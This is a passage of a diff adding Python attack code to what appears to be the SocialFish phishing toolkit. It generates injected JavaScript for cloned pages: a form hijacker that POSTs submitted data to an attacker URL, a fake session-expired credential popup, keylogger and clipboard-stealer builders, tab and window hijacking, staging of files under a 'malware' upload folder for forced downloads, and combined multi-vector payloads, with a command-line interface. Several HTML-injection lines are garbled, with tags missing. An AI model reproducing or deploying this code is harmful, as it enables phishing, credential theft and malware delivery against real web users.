+ formData.forEach((value, key) => {{
+ data[key] = value;
+ }});
+
+ // Send to attacker
+ fetch('{attacker_url}', {{
+ method: 'POST',
+ headers: {{'Content-Type': 'application/json'}},
+ body: JSON.stringify({{
+ type: 'form_data',
+ submitted_data: data,
+ url: window.location.href,
+ timestamp: new Date().toISOString()
+ }})
+ }}).catch(() => {{}});
+
+ // Continue with original submission
+ try {{
+ originalSubmit.call(this);
+ }} catch(e) {{}}
+ }};
+ }})();
+ """
+ return payload
+
+ @staticmethod
+ def generate_phishing_popup(title: str, message: str, button_text: str = 'Confirm') -> str:
+ """
+ Generate fake security warning popup
+ """
+ payload = f"""
+ (function() {{
+ try {{
+ var overlay = document.createElement('div');
+ overlay.style.cssText = `
+ position: fixed;
+ top: 0;
+ left: 0;
+ width: 100%;
+ height: 100%;
+ background: rgba(0,0,0,0.5);
+ display: flex;
+ justify-content: center;
+ align-items: center;
+ z-index: 999999;
+ `;
+
+ var popup = document.createElement('div');
+ popup.style.cssText = `
+ background: white;
+ padding: 40px;
+ border-radius: 10px;
+ box-shadow: 0 4px 20px rgba(0,0,0,0.3);
+ max-width: 500px;
+ text-align: center;
+ font-family: Arial, sans-serif;
+ `;
+
+ popup.innerHTML = `
+ {title}
+ {message}
+
+ `;
+
+ overlay.appendChild(popup);
+ document.body.appendChild(overlay);
+ }} catch(e) {{}}
+ }})();
+ """
+ return payload
+
+
+class FileUploadServer:
+ """Handle file serving for download injection attacks"""
+
+ def __init__(self, upload_dir: str = './uploads/malware'):
+ self.upload_dir = Path(upload_dir)
+ self.upload_dir.mkdir(parents=True, exist_ok=True)
+
+ def stage_file(self, file_path: str, stage_name: str = None) -> str:
+ """
+ Stage a file for delivery
+ Returns URL path for injection
+ """
+ if not stage_name:
+ stage_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=16))
+
+ dest = self.upload_dir / stage_name
+
+ try:
+ with open(file_path, 'rb') as src:
+ with open(dest, 'wb') as dst:
+ dst.write(src.read())
+
+ print(f"[+] File staged: {stage_name}")
+ return f"/uploads/malware/{stage_name}"
+ except Exception as e:
+ print(f"[-] File staging error: {e}")
+ return None
+
+ def generate_download_url(self, stage_path: str, custom_filename: str = None) -> str:
+ """Generate the download injection payload"""
+ if not custom_filename:
+ custom_filename = 'document.pdf'
+
+ return AdvancedAttackInjector.generate_file_download_injection(
+ stage_path,
+ custom_filename
+ )
+
+
+class AttackTemplateBuilder:
+ """Build complete attack templates combining multiple techniques"""
+
+ @staticmethod
+ def build_aggressive_redirect(capture_page_url: str) -> Dict[str, str]:
+ """Complete aggressive redirect attack"""
+ return {
+ 'tab_jack': AdvancedAttackInjector.generate_tab_jacker(capture_page_url),
+ 'window_hijack': AdvancedAttackInjector.generate_window_hijack(capture_page_url),
+ 'fake_logout': AdvancedAttackInjector.generate_fake_logout(capture_page_url),
+ 'form_hijack': AdvancedAttackInjector.generate_form_hijack(capture_page_url)
+ }
+
+ @staticmethod
+ def build_credential_stealer(webhook_url: str) -> Dict[str, str]:
+ """Complete credential theft attack"""
+ return {
+ 'keylogger': AdvancedAttackInjector.generate_keylogger(webhook_url),
+ 'form_hijack': AdvancedAttackInjector.generate_form_hijack(webhook_url),
+ 'clipboard': AdvancedAttackInjector.generate_clipboard_stealer(),
+ 'phishing_popup': AdvancedAttackInjector.generate_phishing_popup(
+ 'Security Warning',
+ 'Your session has expired. Please re-enter your credentials to continue.'
+ )
+ }
+
+ @staticmethod
+ def build_multi_vector_attack(
+ capture_url: str,
+ webhook_url: str,
+ file_download_url: str = None
+ ) -> Dict[str, any]:
+ """Complete multi-vector attack combining all techniques"""
+ payloads = {
+ 'redirect': AdvancedAttackInjector.generate_window_hijack(capture_url),
+ 'keylogger': AdvancedAttackInjector.generate_keylogger(webhook_url),
+ 'form_hijack': AdvancedAttackInjector.generate_form_hijack(webhook_url),
+ 'fake_logout': AdvancedAttackInjector.generate_fake_logout(capture_url),
+ 'clipboard': AdvancedAttackInjector.generate_clipboard_stealer()
+ }
+
+ if file_download_url:
+ payloads['file_download'] = AdvancedAttackInjector.generate_file_download_injection(
+ file_download_url,
+ 'important_document.pdf'
+ )
+
+ # Combine all payloads
+ combined_script = '\n'.join([f"// {name}\n{script}" for name, script in payloads.items()])
+
+ return {
+ 'individual_payloads': payloads,
+ 'combined_script': combined_script,
+ 'injection_methods': [
+ 'html_script_tag',
+ 'inline_script_tag',
+ 'dom_manipulation',
+ 'server_side_injection'
+ ]
+ }
+
+
+class InjectionMethods:
+ """Different ways to inject payloads into cloned pages"""
+
+ @staticmethod
+ def html_script_injection(html_content: str, payload: str) -> str:
+ """Inject script as HTML tag in or before """
+ # Inject at end of
+ if '' in html_content:
+ return html_content.replace(
+ '',
+ f''
+ )
+ # Fallback: inject before str:
+ """Inject into document ready event"""
+ jquery_ready = f"""
+
+ """
+
+ if '" + \
+ f"
+ elif '' in html_content:
+ return html_content.replace(
+ '',
+ f''
+ )
+ else:
+ return html_content + f'\n'
+
+ @staticmethod
+ def inline_event_injection(html_content: str, payload: str) -> str:
+ """Inject into DOM element events"""
+ # Modify body onload
+ inline_script = payload.replace('"', '\\"')
+ return html_content.replace(
+ '
' in html_content:
+ return html_content.replace('', jquery_ready + '')
+ return html_content + jquery_ready
+
+
+
+def main():
+ """CLI for testing advanced attacks"""
+ import argparse
+
+ parser = argparse.ArgumentParser(description='Advanced Attack Injector')
+ subparsers = parser.add_subparsers(dest='command')
+
+ # Tab jack command
+ tabjack_parser = subparsers.add_parser('tabjack', help='Generate tab jacking payload')
+ tabjack_parser.add_argument('url', help='Redirect URL')
+
+ # Keylogger command
+ keylog_parser = subparsers.add_parser('keylogger', help='Generate keylogger payload')
+ keylog_parser.add_argument('--webhook', default='/api/webhook')
+
+ # PDF injection
+ pdf_parser = subparsers.add_parser('pdf', help='Generate file download injection')
+ pdf_parser.add_argument('url', help='File URL')
+ pdf_parser.add_argument('--filename', default='document.pdf')
+
+ args = parser.parse_args()
+
+ if args.command == 'tabjack':
+ print(AdvancedAttackInjector.generate_tab_jacker(args.url))
+ elif args.command == 'keylogger':
+ print(AdvancedAttackInjector.generate_keylogger(args.webhook))
+ elif args.command == 'pdf':
+ print(AdvancedAttackInjector.generate_file_download_injection(args.url, args.filename))
+
+
+if __name__ == '__main__':
+ main()
+
+
+# Compatibility wrappers for older API names used by SocialFish.py
+class TabJacking:
+ @staticmethod
+ def generate_tabjack_payload(target_url: str) -> str:
+ return AdvancedAttackInjector.generate_tab_jacker(target_url)
+
+ @staticmethod
+ def generate_tabjack_html(clone_url: str, target_url: str) -> str:
+ # Simple HTML wrapper that includes the tab jacking script
+ script = AdvancedAttackInjector.generate_tab_jacker(target_url)
+ return f"